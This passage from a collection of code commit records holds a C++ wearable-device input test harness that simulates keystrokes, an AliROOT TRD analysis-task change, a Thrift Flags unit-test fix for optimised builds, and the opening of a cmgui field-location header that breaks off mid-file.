= UNDO;\n        commandList.push_back(command);\n\n        command.type = KEYBOARD_COMMAND;\n        command.kbd = COPY;\n        commandList.push_back(command);\n\n        command.type = MOUSE_COMMAND;\n        command.mouse = LEFT_CLICK;\n        commandList.push_back(command);\n    }\n\n    void runDeviceLoop() {\n        vector<commandData>::iterator it;\n\n        WearableDevice::sharedData.setRelativeCoordinates(point(100, 50));\n        for (it = commandList.begin(); it != commandList.end(); it++) {\n            WearableDevice::sharedData.addCommand(*it);\n           \/\/ this_thread::sleep_for(std::chrono::milliseconds(1000));\n        }\n        \n        WearableDevice::sharedData.setRelativeCoordinates(point(10, 10));\n\n        done = true;\n    }\n    \n    bool isDone() { return done; }\nprivate:\n    vector<commandData> commandList;\n    bool done;\n};\n\nint main() {\n    SharedCommandData sharedData;\n    TestWearableClass* testDevice = new TestWearableClass(&sharedData);\n\n    \/\/ Kick off device thread\n    startWearableDeviceListener(testDevice);\n\n    while (true) {\n        if (sharedData.isCommandQueueEmpty() && testDevice->isDone()) break;\n\n        commandData nextCmd;\n        while(!sharedData.consumeCommand(nextCmd));\n        point nextPnt = sharedData.getRelativeCoordinates();\n\n        cout << \"Command: \" << (nextCmd.type == MOUSE_COMMAND ? nextCmd.mouse : nextCmd.kbd)\n            << \", Coords: (\" << nextPnt.x << \", \" << nextPnt.y << \")\" << endl;\n    }\n\n    system(\"PAUSE\");\n    return 0;\n}\n\n#endif \n\n#ifdef KEYBOARD_CONTROL_TEST\nint main(void) {\n    \/\/ MANUAL TEST 1\n    cout << \"hijacking test main...\" << endl;\n\n    kybrdCtrl * controller = new kybrdCtrl();\n\n    while (1) {\n        keybd_event(VK_MENU, 0, 0, 0);\/\/ MapVirtualKey(VK_RMENU, MAPVK_VK_TO_VSC), 0, 0);\n        Sleep(10);\n        \/\/keybd_event(VK_CONTROL, MapVirtualKey(VK_CONTROL, MAPVK_VK_TO_VSC), 0, 0);\n        \/\/keybd_event(0x44, 0x20, 0, 0);\n        \/\/keybd_event(0x44, 0x20, KEYEVENTF_KEYUP, 0); \n        keybd_event(VK_TAB, 0, 0, 0);\/\/ MapVirtualKey(0x4C, VK_TAB), 0, 0);\n        Sleep(100);\n        keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);\/\/ MapVirtualKey(0x4C, VK_TAB), KEYEVENTF_KEYUP, 0);\n        Sleep(10);\n        \/\/keybd_event(VK_CONTROL, MapVirtualKey(VK_CONTROL, MAPVK_VK_TO_VSC), KEYEVENTF_KEYUP, 0);\n        keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);\/\/ MapVirtualKey(VK_RMENU, MAPVK_VK_TO_VSC), KEYEVENTF_KEYUP, 0);\n\n        Sleep(1000);\n    }\n\n    \/\/while (1) {}\n\n    \/*controller->setKeyCmd(kybdCmds::HIDE_APPS);\n    int status = controller->sendData();\n    cout << \"status = \" << status << endl;\n\n    Sleep(2000);\n\n    controller->setKeyCmd(kybdCmds::WIN_HOME);\n    status = controller->sendData();\n    cout << \"status = \" << status << endl; *\/\n\n\n    string blah;\n    cin >> blah;\n\n    int count = 0;\n    while (true) {\n        if (count++ % 2 == 0) {\n            \/\/controller->setKeyCmd(kybdCmds::ZOOM_IN);\n            \/\/controller->setKeyChar('a');\n            controller->setKeyCmd(kybdCmds::SWITCH_WIN_FORWARD);\n        }\n        else {\n            \/\/controller->setKeyCmd(kybdCmds::ZOOM_OUT);\n            \/\/controller->setKeyChar('b');\n            \/\/controller->setKeyCmd(kybdCmds::SWITCH_WIN_REVERSE);\n        }\n        \n        int status = controller->sendData();\n        cout << \"looping with opposite commands... status = \" << status << endl;\n\n        Sleep(1000);\n    }\n\n    system(\"PAUSE\");\n    return 0;\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Basic class for Performance\/Calibration TRD tasks\n\/\/ \n\/\/ It performs generic tasks like :\n\/\/   - data file manegment\n\/\/   - reference container management\n\/\/   - debug container management\n\/\/   - interaction with AliAnalysisManager\n\/\/   - Plot functor loop\n\/\/\n\/\/ Author: Alexandru Bercuci <A.Bercuci@gsi.de>, 10\/09\/2008\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TClass.h\"\n#include \"TMethod.h\"\n#include \"TMethodCall.h\"\n#include \"TMethodArg.h\"\n#include \"TFile.h\"\n#include \"TChain.h\"\n#include \"TList.h\"\n#include \"TMap.h\"\n#include \"TH1.h\"\n#include \"TF1.h\"\n#include \"TObjArray.h\"\n#include \"TDirectory.h\"\n#include \"TTreeStream.h\"\n\n#include \"AliLog.h\"\n#include \"AliAnalysisTask.h\"\n\n#include \"AliTRDrecoTask.h\"\n\nClassImp(AliTRDrecoTask)\n\nTList* AliTRDrecoTask::fgTrendPoint(NULL);\nTTreeSRedirector* AliTRDrecoTask::fgDebugStream(NULL);\n\/\/_______________________________________________________\nAliTRDrecoTask::AliTRDrecoTask()\n  : AliAnalysisTaskSE()\n  ,fNRefFigures(0)\n  ,fContainer(NULL)\n  ,fTracks(NULL)\n  ,fkTrack(NULL)\n  ,fkMC(NULL)\n  ,fkESD(NULL)\n  ,fPlotFuncList(NULL)\n{\n\/\/ Default constructor  \n}\n\n\/\/_______________________________________________________\nAliTRDrecoTask::AliTRDrecoTask(const char *name, const char *title)\n  : AliAnalysisTaskSE(name)\n  ,fNRefFigures(0)\n  ,fContainer(NULL)\n  ,fTracks(NULL)\n  ,fkTrack(NULL)\n  ,fkMC(NULL)\n  ,fkESD(NULL)\n  ,fPlotFuncList(NULL)\n{\n\/\/ Constructor for all derived performance tasks\n\n  SetTitle(title);\n  DefineInput (1, TObjArray::Class()); \/\/ track list\n  DefineOutput(1, TObjArray::Class()); \/\/ histogram list\n}\n\n\/\/_______________________________________________________\nAliTRDrecoTask::~AliTRDrecoTask() \n{\n\n  \/\/ Generic task destructor\n\n  AliDebug(2, Form(\" Ending task %s[%s]\", GetName(), GetTitle()));\n  if(fgDebugStream){ \n    delete fgDebugStream;\n    fgDebugStream = NULL;\n  }\n\n  if(fPlotFuncList){\n    fPlotFuncList->Delete();\n    delete fPlotFuncList;\n    fPlotFuncList = NULL;\n  }\n  \n  if(fContainer){\n    if(fContainer->IsOwner()) fContainer->Delete();\n    delete fContainer;\n    fContainer = NULL;\n  }\n\n  if(fgTrendPoint){\n    TFile::Open(\"TRD.PerformanceTrend.root\", \"UPDATE\");\n    fgTrendPoint->Write();\n    delete fgTrendPoint;\n    fgTrendPoint=NULL;\n    gFile->Close();\n  }\n}\n\n\/\/_______________________________________________________\nvoid AliTRDrecoTask::UserExec(Option_t *)\n{\n\/\/ Loop over Plot functors published by particular tasks\n\n  fTracks = dynamic_cast<TObjArray *>(GetInputData(1));\n  if(!fPlotFuncList){\n    AliWarning(\"No functor list defined for the reference plots\");\n    return;\n  }\n  if(!fTracks) return;\n  if(!fTracks->GetEntriesFast()) return;\n  else AliDebug(2, Form(\"Tracks[%d] for %s\", fTracks->GetEntriesFast(), GetName()));\n\n  AliTRDtrackInfo *trackInfo = NULL;\n  TIter plotIter(fPlotFuncList);\n  TObjArrayIter trackIter(fTracks);\n  while((trackInfo = dynamic_cast<AliTRDtrackInfo*>(trackIter()))){\n    fkTrack = trackInfo->GetTrack();\n    fkMC    = trackInfo->GetMCinfo();\n    fkESD   = trackInfo->GetESDinfo();\n\n    TMethodCall *plot = NULL;\n    plotIter.Reset();\n    while((plot=dynamic_cast<TMethodCall*>(plotIter()))){\n      plot->Execute(this);\n    }\n  }\n  PostData(1, fContainer);\n}\n\n\/\/_______________________________________________________\nBool_t AliTRDrecoTask::GetRefFigure(Int_t \/*ifig*\/)\n{\n  AliWarning(\"Retrieving reference figures not implemented.\");\n  return kFALSE;\n}\n\n\/\/_______________________________________________________\nBool_t AliTRDrecoTask::PutTrendValue(const Char_t *name, Double_t val)\n{\n\/\/ Generic publisher for trend values\n\n  if(!fgTrendPoint){\n    fgTrendPoint = new TList();\n    fgTrendPoint->SetOwner();\n  }\n  fgTrendPoint->AddLast(new TNamed(Form(\"%s_%s\", GetName(), name), Form(\"%f\", val)));\n  return kTRUE;\n}\n\n\/\/_______________________________________________________\nvoid AliTRDrecoTask::InitFunctorList()\n{\n\/\/ Initialize list of functors\n\n  TClass *c = this->IsA();\n\n  TMethod *m = NULL;\n  TIter methIter(c->GetListOfMethods());\n  while((m=dynamic_cast<TMethod*>(methIter()))){\n    TString name(m->GetName());\n    if(!name.BeginsWith(\"Plot\")) continue;\n    if(!fPlotFuncList) fPlotFuncList = new TList();\n    fPlotFuncList->AddLast(new TMethodCall(c, (const char*)name, \"\"));\n  }\n}\n\n\/\/_______________________________________________________\nBool_t AliTRDrecoTask::Load(const Char_t *file, const Char_t *dir)\n{\n\/\/ Generic container loader\n\n  if(!TFile::Open(file)){\n    AliWarning(Form(\"Couldn't open file %s.\", file));\n    return kFALSE;\n  }\n  if(!gFile->cd(dir)){\n    AliWarning(Form(\"Couldn't cd to %s in %s.\", dir, file));\n    return kFALSE;\n  }\n  TObjArray *o = NULL;\n  if(!(o = (TObjArray*)gDirectory->Get(GetName()))){\n    AliWarning(\"Missing histogram container.\");\n    return kFALSE;\n  }\n  fContainer = (TObjArray*)o->Clone(GetName());\n  gFile->Close();\n  return kTRUE;\n}\n\n\/\/________________________________________________________\nBool_t AliTRDrecoTask::Save(TObjArray * const results){\n  \/\/\n  \/\/ Store the output graphs in a ROOT file\n  \/\/ Input TObject array will not be written as Key to the file,\n  \/\/ only content itself\n  \/\/\n\n  TDirectory *cwd = gDirectory;\n  if(!TFile::Open(Form(\"TRD.Result%s.root\", GetName()), \"RECREATE\")) return kFALSE;\n\n  TIterator *iter = results->MakeIterator();\n  TObject *inObject = NULL, *outObject = NULL;\n  while((inObject = iter->Next())){\n    outObject = inObject->Clone();\n    outObject->Write(NULL, TObject::kSingleKey);\n  }\n  delete iter;\n  gFile->Close(); delete gFile;\n  cwd->cd(); \n  return kTRUE;\n}\n\n\/\/_______________________________________________________\nBool_t AliTRDrecoTask::PostProcess()\n{\n\/\/ To be implemented by particular tasks\n\n  AliWarning(\"Post processing of reference histograms not implemented.\");\n  return kFALSE;\n}\n\n\/\/_______________________________________________________\nvoid AliTRDrecoTask::MakeSummary(){\n\/\/ To be implemented by particular tasks\n  AliWarning(\"Summary not available\");\n}\n\n\/\/_______________________________________________________\nvoid AliTRDrecoTask::SetDebugLevel(Int_t level)\n{\n\/\/ Generic debug handler\n\n  AliAnalysisTaskSE::SetDebugLevel(level);\n  if(DebugLevel()>=1){\n    TDirectory *savedir = gDirectory;\n    fgDebugStream = new TTreeSRedirector(\"TRD.DebugPerformance.root\");\n    savedir->cd();\n  }\n}\n\n\/\/____________________________________________________________________\nvoid AliTRDrecoTask::Terminate(Option_t *)\n{\n  \/\/\n  \/\/ Terminate\n  \/\/\n\n  if(fgDebugStream){ \n    delete fgDebugStream;\n    fgDebugStream = NULL;\n  }\n  if(HasPostProcess()) PostProcess();\n}\n\n\/\/________________________________________________________\nvoid AliTRDrecoTask::Adjust(TF1 *f, TH1 * const h)\n{\n\/\/ Helper function to avoid duplication of code\n\/\/ Make first guesses on the fit parameters\n\n  \/\/ find the intial parameters of the fit !! (thanks George)\n  Int_t nbinsy = Int_t(.5*h->GetNbinsX());\n  Double_t sum = 0.;\n  for(Int_t jbin=nbinsy-4; jbin<=nbinsy+4; jbin++) sum+=h->GetBinContent(jbin); sum\/=9.;\n  f->SetParLimits(0, 0., 3.*sum);\n  f->SetParameter(0, .9*sum);\n\n  f->SetParLimits(1, -.2, .2);\n  f->SetParameter(1, -0.1);\n\n  f->SetParLimits(2, 0., 4.e-1);\n  f->SetParameter(2, 2.e-2);\n  if(f->GetNpar() <= 4) return;\n\n  f->SetParLimits(3, 0., sum);\n  f->SetParameter(3, .1*sum);\n\n  f->SetParLimits(4, -.3, .3);\n  f->SetParameter(4, 0.);\n\n  f->SetParLimits(5, 0., 1.e2);\n  f->SetParameter(5, 2.e-1);\n}\n<commit_msg>use Terminate function for producing summary plots (Markus)<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Basic class for Performance\/Calibration TRD tasks\n\/\/ \n\/\/ It performs generic tasks like :\n\/\/   - data file manegment\n\/\/   - reference container management\n\/\/   - debug container management\n\/\/   - interaction with AliAnalysisManager\n\/\/   - Plot functor loop\n\/\/\n\/\/ Author: Alexandru Bercuci <A.Bercuci@gsi.de>, 10\/09\/2008\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TClass.h\"\n#include \"TMethod.h\"\n#include \"TMethodCall.h\"\n#include \"TMethodArg.h\"\n#include \"TFile.h\"\n#include \"TChain.h\"\n#include \"TList.h\"\n#include \"TMap.h\"\n#include \"TH1.h\"\n#include \"TF1.h\"\n#include \"TObjArray.h\"\n#include \"TDirectory.h\"\n#include \"TTreeStream.h\"\n\n#include \"AliLog.h\"\n#include \"AliAnalysisTask.h\"\n\n#include \"AliTRDrecoTask.h\"\n\nClassImp(AliTRDrecoTask)\n\nTList* AliTRDrecoTask::fgTrendPoint(NULL);\nTTreeSRedirector* AliTRDrecoTask::fgDebugStream(NULL);\n\/\/_______________________________________________________\nAliTRDrecoTask::AliTRDrecoTask()\n  : AliAnalysisTaskSE()\n  ,fNRefFigures(0)\n  ,fContainer(NULL)\n  ,fTracks(NULL)\n  ,fkTrack(NULL)\n  ,fkMC(NULL)\n  ,fkESD(NULL)\n  ,fPlotFuncList(NULL)\n{\n\/\/ Default constructor  \n}\n\n\/\/_______________________________________________________\nAliTRDrecoTask::AliTRDrecoTask(const char *name, const char *title)\n  : AliAnalysisTaskSE(name)\n  ,fNRefFigures(0)\n  ,fContainer(NULL)\n  ,fTracks(NULL)\n  ,fkTrack(NULL)\n  ,fkMC(NULL)\n  ,fkESD(NULL)\n  ,fPlotFuncList(NULL)\n{\n\/\/ Constructor for all derived performance tasks\n\n  SetTitle(title);\n  DefineInput (1, TObjArray::Class()); \/\/ track list\n  DefineOutput(1, TObjArray::Class()); \/\/ histogram list\n}\n\n\/\/_______________________________________________________\nAliTRDrecoTask::~AliTRDrecoTask() \n{\n\n  \/\/ Generic task destructor\n\n  AliDebug(2, Form(\" Ending task %s[%s]\", GetName(), GetTitle()));\n  if(fgDebugStream){ \n    delete fgDebugStream;\n    fgDebugStream = NULL;\n  }\n\n  if(fPlotFuncList){\n    fPlotFuncList->Delete();\n    delete fPlotFuncList;\n    fPlotFuncList = NULL;\n  }\n  \n  if(fContainer){\n    if(fContainer->IsOwner()) fContainer->Delete();\n    delete fContainer;\n    fContainer = NULL;\n  }\n\n  if(fgTrendPoint){\n    TFile::Open(\"TRD.PerformanceTrend.root\", \"UPDATE\");\n    fgTrendPoint->Write();\n    delete fgTrendPoint;\n    fgTrendPoint=NULL;\n    gFile->Close();\n  }\n}\n\n\/\/_______________________________________________________\nvoid AliTRDrecoTask::UserExec(Option_t *)\n{\n\/\/ Loop over Plot functors published by particular tasks\n\n  fTracks = dynamic_cast<TObjArray *>(GetInputData(1));\n  if(!fPlotFuncList){\n    AliWarning(\"No functor list defined for the reference plots\");\n    return;\n  }\n  if(!fTracks) return;\n  if(!fTracks->GetEntriesFast()) return;\n  else AliDebug(2, Form(\"Tracks[%d] for %s\", fTracks->GetEntriesFast(), GetName()));\n\n  AliTRDtrackInfo *trackInfo = NULL;\n  TIter plotIter(fPlotFuncList);\n  TObjArrayIter trackIter(fTracks);\n  while((trackInfo = dynamic_cast<AliTRDtrackInfo*>(trackIter()))){\n    fkTrack = trackInfo->GetTrack();\n    fkMC    = trackInfo->GetMCinfo();\n    fkESD   = trackInfo->GetESDinfo();\n\n    TMethodCall *plot = NULL;\n    plotIter.Reset();\n    while((plot=dynamic_cast<TMethodCall*>(plotIter()))){\n      plot->Execute(this);\n    }\n  }\n  PostData(1, fContainer);\n}\n\n\/\/_______________________________________________________\nBool_t AliTRDrecoTask::GetRefFigure(Int_t \/*ifig*\/)\n{\n  AliWarning(\"Retrieving reference figures not implemented.\");\n  return kFALSE;\n}\n\n\/\/_______________________________________________________\nBool_t AliTRDrecoTask::PutTrendValue(const Char_t *name, Double_t val)\n{\n\/\/ Generic publisher for trend values\n\n  if(!fgTrendPoint){\n    fgTrendPoint = new TList();\n    fgTrendPoint->SetOwner();\n  }\n  fgTrendPoint->AddLast(new TNamed(Form(\"%s_%s\", GetName(), name), Form(\"%f\", val)));\n  return kTRUE;\n}\n\n\/\/_______________________________________________________\nvoid AliTRDrecoTask::InitFunctorList()\n{\n\/\/ Initialize list of functors\n\n  TClass *c = this->IsA();\n\n  TMethod *m = NULL;\n  TIter methIter(c->GetListOfMethods());\n  while((m=dynamic_cast<TMethod*>(methIter()))){\n    TString name(m->GetName());\n    if(!name.BeginsWith(\"Plot\")) continue;\n    if(!fPlotFuncList) fPlotFuncList = new TList();\n    fPlotFuncList->AddLast(new TMethodCall(c, (const char*)name, \"\"));\n  }\n}\n\n\/\/_______________________________________________________\nBool_t AliTRDrecoTask::Load(const Char_t *file, const Char_t *dir)\n{\n\/\/ Generic container loader\n\n  if(!TFile::Open(file)){\n    AliWarning(Form(\"Couldn't open file %s.\", file));\n    return kFALSE;\n  }\n  if(!gFile->cd(dir)){\n    AliWarning(Form(\"Couldn't cd to %s in %s.\", dir, file));\n    return kFALSE;\n  }\n  TObjArray *o = NULL;\n  if(!(o = (TObjArray*)gDirectory->Get(GetName()))){\n    AliWarning(\"Missing histogram container.\");\n    return kFALSE;\n  }\n  fContainer = (TObjArray*)o->Clone(GetName());\n  gFile->Close();\n  return kTRUE;\n}\n\n\/\/________________________________________________________\nBool_t AliTRDrecoTask::Save(TObjArray * const results){\n  \/\/\n  \/\/ Store the output graphs in a ROOT file\n  \/\/ Input TObject array will not be written as Key to the file,\n  \/\/ only content itself\n  \/\/\n\n  TDirectory *cwd = gDirectory;\n  if(!TFile::Open(Form(\"TRD.Result%s.root\", GetName()), \"RECREATE\")) return kFALSE;\n\n  TIterator *iter = results->MakeIterator();\n  TObject *inObject = NULL, *outObject = NULL;\n  while((inObject = iter->Next())){\n    outObject = inObject->Clone();\n    outObject->Write(NULL, TObject::kSingleKey);\n  }\n  delete iter;\n  gFile->Close(); delete gFile;\n  cwd->cd(); \n  return kTRUE;\n}\n\n\/\/_______________________________________________________\nBool_t AliTRDrecoTask::PostProcess()\n{\n\/\/ To be implemented by particular tasks\n\n  AliWarning(\"Post processing of reference histograms not implemented.\");\n  return kFALSE;\n}\n\n\/\/_______________________________________________________\nvoid AliTRDrecoTask::MakeSummary(){\n\/\/ To be implemented by particular tasks\n  AliWarning(\"Summary not available\");\n}\n\n\/\/_______________________________________________________\nvoid AliTRDrecoTask::SetDebugLevel(Int_t level)\n{\n\/\/ Generic debug handler\n\n  AliAnalysisTaskSE::SetDebugLevel(level);\n  if(DebugLevel()>=1){\n    TDirectory *savedir = gDirectory;\n    fgDebugStream = new TTreeSRedirector(\"TRD.DebugPerformance.root\");\n    savedir->cd();\n  }\n}\n\n\/\/____________________________________________________________________\nvoid AliTRDrecoTask::Terminate(Option_t *)\n{\n  \/\/\n  \/\/ Terminate\n  \/\/\n\n  if(fgDebugStream){ \n    delete fgDebugStream;\n    fgDebugStream = NULL;\n  }\n  fContainer = dynamic_cast<TObjArray *>(GetOutputData(1));\n  PostProcess();\n  MakeSummary();\n}\n\n\/\/________________________________________________________\nvoid AliTRDrecoTask::Adjust(TF1 *f, TH1 * const h)\n{\n\/\/ Helper function to avoid duplication of code\n\/\/ Make first guesses on the fit parameters\n\n  \/\/ find the intial parameters of the fit !! (thanks George)\n  Int_t nbinsy = Int_t(.5*h->GetNbinsX());\n  Double_t sum = 0.;\n  for(Int_t jbin=nbinsy-4; jbin<=nbinsy+4; jbin++) sum+=h->GetBinContent(jbin); sum\/=9.;\n  f->SetParLimits(0, 0., 3.*sum);\n  f->SetParameter(0, .9*sum);\n\n  f->SetParLimits(1, -.2, .2);\n  f->SetParameter(1, -0.1);\n\n  f->SetParLimits(2, 0., 4.e-1);\n  f->SetParameter(2, 2.e-2);\n  if(f->GetNpar() <= 4) return;\n\n  f->SetParLimits(3, 0., sum);\n  f->SetParameter(3, .1*sum);\n\n  f->SetParLimits(4, -.3, .3);\n  f->SetParameter(4, 0.);\n\n  f->SetParLimits(5, 0., 1.e2);\n  f->SetParameter(5, 2.e-1);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <thrift\/lib\/cpp2\/transport\/rocket\/framing\/Flags.h>\n\n#include <folly\/portability\/GTest.h>\n\nusing namespace apache::thrift::rocket;\n\nTEST(FlagsTest, setting) {\n  Flags flags;\n\n  EXPECT_FALSE(flags.ignore());\n  flags.ignore(true);\n  EXPECT_TRUE(flags.ignore());\n  flags.ignore(false);\n  EXPECT_FALSE(flags.ignore());\n}\n\nTEST(FlagsTest, lowestFlag) {\n  Flags flags;\n\n  EXPECT_FALSE(flags.next());\n  flags.next(true);\n  EXPECT_TRUE(flags.next());\n}\n\nTEST(FlagsTest, invalidFlags) {\n  \/\/ Flags use the lower 10 bits, as specified in rsocket\n  EXPECT_EQ(Flags::kBits, 10);\n\n  uint16_t over = 1 << Flags::kBits;\n  uint16_t under = 1 << (Flags::kUnusedBits - 1);\n  uint16_t allowed = 1 << (Flags::kBits - 1);\n\n  auto mk = [](uint16_t bits) {\n    Flags f(bits);\n    (void)f;\n  };\n\n  EXPECT_NO_THROW(mk(0));\n\n  EXPECT_DEATH(mk(over), \"Check failed\");\n  EXPECT_THROW(mk(under), std::runtime_error);\n  EXPECT_NO_THROW(mk(allowed));\n\n  EXPECT_DEATH(mk(over | allowed), \"Check failed\");\n  EXPECT_THROW(mk(under | allowed), std::runtime_error);\n  EXPECT_DEATH(mk(over | under), \"Check failed\");\n\n  EXPECT_DEATH(mk(over | under | allowed), \"Check failed\");\n}\n<commit_msg>Fix opt tests<commit_after>\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <thrift\/lib\/cpp2\/transport\/rocket\/framing\/Flags.h>\n\n#include <folly\/portability\/GTest.h>\n\nusing namespace apache::thrift::rocket;\n\nTEST(FlagsTest, setting) {\n  Flags flags;\n\n  EXPECT_FALSE(flags.ignore());\n  flags.ignore(true);\n  EXPECT_TRUE(flags.ignore());\n  flags.ignore(false);\n  EXPECT_FALSE(flags.ignore());\n}\n\nTEST(FlagsTest, lowestFlag) {\n  Flags flags;\n\n  EXPECT_FALSE(flags.next());\n  flags.next(true);\n  EXPECT_TRUE(flags.next());\n}\n\nTEST(FlagsTest, invalidFlags) {\n  \/\/ Flags use the lower 10 bits, as specified in rsocket\n  EXPECT_EQ(Flags::kBits, 10);\n\n  uint16_t over = 1 << Flags::kBits;\n  uint16_t under = 1 << (Flags::kUnusedBits - 1);\n  uint16_t allowed = 1 << (Flags::kBits - 1);\n\n  auto mk = [](uint16_t bits) {\n    Flags f(bits);\n    (void)f;\n  };\n\n  EXPECT_NO_THROW(mk(0));\n  EXPECT_NO_THROW(mk(allowed));\n\n  \/\/ DCHECK is turned off in opt mode, so overs will not die\n#ifndef NDEBUG\n  EXPECT_DEATH(mk(over), \"Check failed\");\n  EXPECT_DEATH(mk(over | allowed), \"Check failed\");\n  EXPECT_DEATH(mk(over | under), \"Check failed\");\n  EXPECT_DEATH(mk(over | under | allowed), \"Check failed\");\n#else\n  EXPECT_NO_THROW(mk(over));\n  EXPECT_NO_THROW(mk(over | allowed));\n\n  EXPECT_THROW(mk(over | under), std::runtime_error);\n  EXPECT_THROW(mk(over | under | allowed), std::runtime_error);\n#endif\n\n  EXPECT_THROW(mk(under), std::runtime_error);\n  EXPECT_THROW(mk(under | allowed), std::runtime_error);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/******************************************************************************\n\/\/ FILE : field_location.hpp\n\/\/\n\/\/ LAST MODIFIED : 9 August 2006\n\/\/\n\/\/ DESCRIPTION :\n\/\/ An class hierarchy for specifying locations at which to evaluate fields.\n\/\/ These are transient objects used internally in Computed_fields and so do not\n\/\/ access, copy or allocate their members.\n\/\/==============================================================================\n\/* ***** BEGIN LICENSE BLOCK *****\n * Version: MPL 1.1\/GPL 2.0\/LGPL 2.1\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is cmgui.\n *\n * The Initial Developer of the Original Code is\n * Auckland Uniservices Ltd, Auckland, New Zealand.\n * Portions created by the Initial Developer are Copyright (C) 2006\n * the Initial Developer. All Rights Reserved.\n *\n * Contributor(s):\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n * in which case the provisions of the GPL or the LGPL are applicable instead\n * of those above. If you wish to allow use of your version of this file only\n * under the terms of either the GPL or the LGPL, and not to allow others to\n * use your version of this file under the terms of the MPL, indicate your\n * decision by deleting the provisions above and replace them with the notice\n * and other provisions required by the GPL or the LGPL. If you do not delete\n * the provisions above, a recipient may use your version of this file under\n * the terms of any one of the MPL, the GPL or the LGPL.\n *\n * ***** END LICENSE BLOCK ***** *\/\n#if !defined (__FIELD_LOCATION_HPP__)\n#define __FIELD_LOCATION_HPP__\n\n#include \"computed_field\/computed_field.h\"\n#include \"general\/value.h\"\n\nstruct Cmiss_field;\n\nclass Field_location\n{\nprotected:\n\tFE_value time;\n\tint number_of_derivatives;\n\n   Field_location(FE_value time = 0.0, int number_of_derivatives = 0) : \n\t\ttime(time), number_of_derivatives(number_of_derivatives)\n\t{};\n\npublic:\n\n   \/* Abstract virtual destructor declaration as we will not make objects of this\n\t\tparent class *\/\n\tvirtual ~Field_location() = 0;\n\n\tvirtual Field_location *clone() = 0;\n\n\tFE_value get_time()\n\t{\n\t\treturn time;\n\t}\n\n\tvoid set_time(FE_value new_time)\n\t{\n\t\ttime = new_time;\n\t}\n\n\tint get_number_of_derivatives()\n\t{\n\t\treturn number_of_derivatives;\n\t}\n\n\t\/** use with care in field evaluation & restore after evaluating with *\/\n\tvoid set_number_of_derivatives(int number_of_derivatives_in)\n\t{\n\t\tnumber_of_derivatives = number_of_derivatives_in;\n\t}\n\n\tvirtual int set_values_for_location(Cmiss_field * \/*field*\/,\n\t\tconst FE_value * \/*values*\/)\n\t{\n\t\t\/* Default is that the location can't set the values *\/\n\t\treturn 0;\n\t}\n};\n\nclass Field_element_xi_location : public Field_location\n{\nprivate:\n\tstruct FE_element *element;\n\tint dimension;\n\tFE_value xi[MAXIMUM_ELEMENT_XI_DIMENSIONS];\n\tstruct FE_element *top_level_element;\n\npublic:\n\tField_element_xi_location(struct FE_element *element_in,\n\t\t\tconst FE_value *xi_in = NULL, FE_value time_in = 0.0,\n\t\t\tstruct FE_element *top_level_element_in = NULL, int number_of_derivatives_in = 0) :\n\t\tField_location(time_in, number_of_derivatives_in),\n\t\telement(element_in ? ACCESS(FE_element)(element_in) : 0),\n\t\tdimension(element_in ? get_FE_element_dimension(element_in) : 0),\n\t\ttop_level_element(top_level_element_in ? ACCESS(FE_element)(top_level_element_in) : 0)\n\t{\n\t\tif (xi_in)\n\t\t{\n\t\t\tfor (int i = 0; i < dimension; i++)\n\t\t\t{\n\t\t\t\txi[i] = xi_in[i];\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor (int i = 0; i < dimension; i++)\n\t\t\t{\n\t\t\t\txi[i] = 0.0;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ blank constructor - caller should call set_element_xi & check valid return\n\tField_element_xi_location(FE_value time_in = 0.0, int number_of_derivatives_in = 0) :\n\t\tField_location(time_in, number_of_derivatives_in),\n\t\telement(0),\n\t\tdimension(0),\n\t\ttop_level_element(0)\n\t{\n\t}\n\t\n   